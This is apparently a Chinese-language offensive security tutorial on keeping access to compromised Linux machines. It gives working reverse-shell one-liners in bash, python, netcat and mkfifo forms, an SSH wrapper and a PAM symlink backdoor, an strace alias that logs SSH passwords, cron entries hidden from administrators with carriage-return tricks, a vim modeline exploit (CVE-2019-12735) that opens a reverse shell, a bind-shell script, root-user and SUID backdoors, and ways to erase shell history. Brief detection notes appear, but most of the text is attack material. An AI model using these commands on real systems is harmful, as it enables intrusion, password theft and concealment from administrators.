Linux权限维持

自我总结

直接权限维持

  • 反弹shell
  • SSH
    • SSH warpper
    • SSH 软连接
    • SSH 公钥免密登陆
    • SSH Keylogger
    • strace监听ssh来源流量
  • Crontab
  • vim后门
  • 开机启动项 (自己想的不知道可不可以)
  • .bashrc (自己想的不知道可不可以)
  • 添加超级用户
  • SUID后门

间接辅助权限维持

  • cat缺陷
  • Linux/Unix 隐藏文件和文件夹
  • 参数混淆拦截rm
  • 删除/隐藏历史操作命令

Linux权限维持 - 图1
拿到机器后可以查看一下有没有相关程序,反弹shell等进程能够被查到,这条命令可以简单的kill掉一些常见恶意程序。
批量kill可疑进程:

  1. ps -ef |grep "python" |awk '{print $2}'|xargs kill -9
  2. ps -ef |grep "bash -i" |awk '{print $2}'|xargs kill -9
  3. ps -ef |grep "ew" |awk '{print $2}'|xargs kill -9

LINUX反弹shell

关于反弹原理,和每一步的数据流向在网上都有文章,就不复制了。这里只是用来总结下常规反弹shell的用法,顺便说下优点缺点。

  1. bash -i >& /dev/tcp/127.0.0.1/6666 0>&1

Linux权限维持 - 图2
优点:在大多数Liunx系统上都可以使用
缺点:在路由器系统中不存在bash,存在符号>、& 在反序列化中或者对符号转义的情况下就没有办法反弹了。

  1. python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('127.0.0.1',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

Linux权限维持 - 图3
优点:在安装了python上的linux都可以使用,原理还是将标准输入、标准输出、标准错误输出重定向到远程。使用bash交互模式启动。
缺点:在路由器系统中不存在bash或者阉割了python库,存在符号>、& 、’、”在反序列化中或者对符号转义的情况下就没有办法反弹了。单双引号也会导致闭合问题。

  1. nc -e /bin/bash 127.0.0.1 6666

Linux权限维持 - 图4
一般Netcat有两个版本,一个版本是不提供反向连接的版本,一个是全功能版本。这两者的区别就是是否带-e参数,只有带-e参数的版本才支持反向连接。ubuntu 18.04安装的是不提供反向链接的版本。

  1. wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
  2. tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
  3. cd /usr/local
  4. mv netcat-0.7.1 netcat
  5. cd /usr/local/netcat
  6. ./configure
  7. make && make install

Linux权限维持 - 图5
优点:直接反弹,没有多余的符号。
缺点:系统apt默认安装的都是不提供反向链接的版本,需要自己上传编译后的二进制版本。
解决方法1:

  1. nc 127.0.0.1 6666|/bin/bash|nc 127.0.0.1 7777

Linux权限维持 - 图6
利用6666端口传入内容交给bash执行,再将内容从7777送出去,管道符的用法。可以在阉割功能的nc上使用。
解决方法2: (针对某些mips架构的路由器&busybox终端的系统):

  1. # 锐捷
  2. mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | nc 127.0.0.1 6666 1>/tmp/backpipe1
  3. # 飞鱼星反弹shell
  4. mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | /bin/busybox nc 127.0.0.1 6666 1>/tmp/backpipe1

Linux权限维持 - 图7

SSH后门

SSH wrapper

判断连接来源端口,将恶意端口来源访问传输内容重定向到/bin/sh中。

  1. cd /usr/sbin/
  2. mv sshd ../bin
  3. vim sshd # 编辑sshd内容为以下
  4. #!/usr/bin/perl
  5. exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/); # \x00\x00LF是19526的大端形式
  6. exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
  7. service sshd restart

在本机执行

  1. socat STDIO TCP4:127.0.0.1:22,sourceport=19265

Linux权限维持 - 图8
可以看到我利用socat限制了本地端口19526访问server的22端口反回一个sh窗。
修改端口可以修改..LF

  1. import struct
  2. buffer = struct.pack('>I6',19526)
  3. print repr(buffer)

Linux权限维持 - 图9
优点:
1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。
2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。

SSH 软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。

  1. ln -sf /usr/sbin/sshd /tmp/su
  2. /tmp/su -oPort=888

Linux权限维持 - 图10
优点:能够绕过一些网络设备的安全流量监测
缺点:本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。

SSH 公钥免密登陆

ssh-keygen -t rsa生成公钥
id_rsa.pub内容放到目标.ssh/authorized_keys
Linux权限维持 - 图11
这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接等情景。

SSH Keylogger

利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
在当前用户的.bashrc里新建一条alias、这样可以抓取他登陆其他机器的ssh密码。算是alias后门。后面会在讲一下alias后门。

  1. alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

Linux权限维持 - 图12
Linux权限维持 - 图13

strace监听ssh来源流量

不只是可以监听连接他人,还可以用来抓到别人连入的密码。应用场景如:通过漏洞获取root权限,但是不知道明文密码在横向扩展中可以使用。
之前有用别名的方式来抓取登陆其他机器时的密码、同样也可以利用strace来监听登陆本地的sshd流量。

  1. ps -ef | grep sshd #父进程PID

Linux权限维持 - 图14
Linux权限维持 - 图15
可以看到也能抓到写入密码。
Info:

https://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper https://www.freebuf.com/articles/system/178150.html

Cron后门

Cron介绍
在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。
Cron后门
http://qqe2.com/cron cron表达式在线生成:

  1. (crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -

Linux权限维持 - 图16
这样执行会在crontab列表里出现,如果是如上执行的话,管理员执行crontab -l就能看到执行的命令内容不是特别隐蔽。
那么就有了一个相对的高级用法,下面命令执行后会显示”no crontab for root”。其实就达到了一个隐藏的效果,这时候管理员如果执行crontab -l就会看到显示”no crontab for root”。

  1. (crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

Linux权限维持 - 图17
实际上是他将cron文件写到文件中。/var/spool/cron/crontabs/root 。而crontab -l就是列出了该文件的内容。
通常cat是看不到这个的,只能利用less或者vim看到,这也是利用了cat的一个缺陷,后面会讲到。
Linux权限维持 - 图18
/etc/cron.d/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.hourly/ /etc/cron.monthly/ 这几个路径都可以存放cron执行脚本,对应的时间不同。

hiding-from-cats

cat隐藏说明
刚刚在cron里面提到了cat的一个缺陷。可以利用这个缺陷隐藏恶意命令在一些脚本中。这里的示例我就用hiding-from-cats里的例子吧。之所以单列出来,个人认为在一些大型企业的运维工具脚本中可以插入恶意代码,利用cat的缺陷还可以使管理员无法发现脚本被做手脚。
cat其实默认使用是支持一些比如\r回车符 \n换行符 \f换页符、也就是这些符号导致的能够隐藏命令。
使用python生成带有换行符的内容sh:

  1. cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # hidden
  2. cmd_v = "echo 'Hello world!'" # visible
  3. with open("test.sh", "w") as f:
  4. output = "#!/bin/sh\n"
  5. output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
  6. f.write(output)

Linux权限维持 - 图19
使用coderunner生成了一个test.sh脚本。cat看了下脚本的内容是echo一个hello world! 且同目录下只有他本文件。然后我们用sh test.sh执行后。
Linux权限维持 - 图20
可以看到执行脚本后生成了一个oops文件,内容就是 You forgot to check cat -A! 其实可以看出来这样就做到了恶意命令隐藏的效果。其实之前Cron后门中的隐藏方法就是利用了这个。如果使用cat —A 查看root文件的话就可以看到计划任务的真正内容了。

vim后门

vim modeline CVE-2019-12735
该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能,macOS 是没有默认启用。 当vim打开一个包含了vim modeline注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。vim默认关闭modeline。 开启:

  1. vim ~/.vimrc
  2. //文件内容为
  3. set modeline
  1. poc:
  2. :!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Linux权限维持 - 图21
反弹shell:

  1. :!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Linux权限维持 - 图22

vim python扩展后门

适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。可以通过vim的pyfile来执行python脚本。这里我复现使用了docker centos 6.8,yum默认安装的vim。下面的pdf是发现者对外公开的思路:

https://github.com/jaredestroud/WOTD/blob/master/[DARK] Weapons of Text Destruction.pdf

这里我们使用一个python开启本地监听11端口的脚本。 POC:

  1. #from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
  2. from socket import *
  3. import subprocess
  4. import os, threading, sys, time
  5. if __name__ == "__main__":
  6. server=socket(AF_INET,SOCK_STREAM)
  7. server.bind(('0.0.0.0',11))
  8. server.listen(5)
  9. print 'waiting for connect'
  10. talk, addr = server.accept()
  11. print 'connect from',addr
  12. proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
  13. stdout=talk, stderr=talk, shell=True)
  1. $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

执行以后:
Linux权限维持 - 图23
Linux权限维持 - 图24
我在攻击机nc连接过去就可以了。

添加超级用户

  1. useradd guest;echo 'guest:123456'|chpasswd
  2. useradd -p `openssl passwd 123456` guest
  3. useradd -p "$(openssl passwd 123456)" guest
  4. useradd newuwer;echo -e "123456n123456n" |passwd newuser
  5. # 赋予root权限
  6. echo "guest:x:0:0::/:/bin/sh" >> /etc/passwd
  7. echo 'guest:123456'|chpasswd

SUID后门

当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。必要条件:

  • SUID权限仅对二进制程序有效。
  • 执行者对于该程序需要具有x的可执行权限
  • 本权限仅在执行该程序的过程中有效
  • 在执行过程中执行者将具有该程序拥有者的权限

可以利用webshell进行利用

  1. #vim suid.c
  2. #include<stdlib.h>
  3. main () {
  4. setuid(0);
  5. system("/bin/bash");
  6. }
  7. # 编译成二进制文件
  8. gcc suid.c -o suidshell
  9. # 赋予suid权限
  10. chmod 4755 suidshell
  11. chmod u+s suidshell
  12. # 假设webshell权限较低,希望使用suid shell执行root命令,通过web的方式调用
  13. # http://localhost/suid.php?path=/tmp/suidshell&cmd=id
  14. # 即可以root的权限执行命令id

检测
查找具有suid权限的文件即可

  1. find / -perm +4000 -ls
  2. find / -perm -u=s -type f 2>/dev/null

清除
清除文件即可

Linux/Unix 隐藏文件和文件夹

建立隐藏文件/文件夹

  1. touch .backdoor
  2. mkdir .backdoor-file

Linux权限维持 - 图25
经常使用linux中会知道每个目录下其实都有.和..、分别代指的是当前目录和上级目录。 建立…文件也是一个比较好的隐藏方法。
建立..文件/文件夹

  1. echo 'whoami' > ..\ \ \ \ # 注意最后一个转义符后有一个空格

Linux权限维持 - 图26

  1. bash ..\ \ \ \ \ # 这里也是多一个空格。

Linux权限维持 - 图27
这样建立的文件/文件夹管理员不知道是使用了几个转义符建立的,所以通过rm+tab是无法删除的。而且我测试使用rm -rf ./*也无法删除。

参数混淆拦截rm

使用echo等工具新建一个文件名是-rm的文件,这样删除的时候bash会认为-rm是rm的参数。
Linux权限维持 - 图28
这样就可以阻止管理员去删除, 一般只有rm -- '-rm'才会删除掉。
Linux权限维持 - 图29
但是如果管理员使用正常删除方式会报错。
Linux权限维持 - 图30
可以用以下方法。

  1. echo 123123123 > --

Linux权限维持 - 图31
这样可以看到,命令执行了,文件没删除,命令也没有报错。类似的可以利用bash的\r缺陷,和管道符、重定向符之类的。
创建不能删除的文件(权限隐藏)
这个用法在ctf、awd中应用很多,使用chattr来给与隐藏权限。 这些权限需要使用lsattr这个命令才可以查看到,而如果要修改隐藏权限,则使用chattr这个命令来进行修改。

  1. chattr +i hack.sh

Linux权限维持 - 图32
无法删除。

删除/隐藏历史操作命令

删除
删除通常使用两种方式:

  1. history -c
  2. rm -rf /root/.bash_history

建议使用第二种,第一种只是当前清除,并没有清除文件内容。
隐藏
隐藏命令的方式有很多,history 只会在会话结束时写入,所以只要会话还没有结束就可以想办法隐藏。比如同时开启两个终端,第一个终端启动vim编辑history文件,等第二个执行的都差不多了,结束会话后,在保存第一个,这样就覆盖了第二个终端所执行的命令。 这里我分享几个经常使用的隐藏历史命令的方法。

  1. set +o history # 不会将任何当前会话写入日志。可以在会话期间任何时间运行,并隐藏所有命令。

Linux权限维持 - 图33
Linux权限维持 - 图34

  1. export HISTIGNORE="*|*" //这条命令是不记录带有管道符的命令。

执行后命令可以echo 123123123 | whoami这样也可以做到隐藏命令的目的。
Linux权限维持 - 图35
Linux权限维持 - 图36
Info:

https://www.freebuf.com/vuls/205516.html https://www.cnblogs.com/17bdw/p/10564902.html#label06

参考链接

https://mp.weixin.qq.com/s/B5cam9QN8eDHFuaFjBD34Q https://mp.weixin.qq.com/s/-F_Ol-J-QfynOCYfD1nG3Q https://www.secpulse.com/archives/100484.html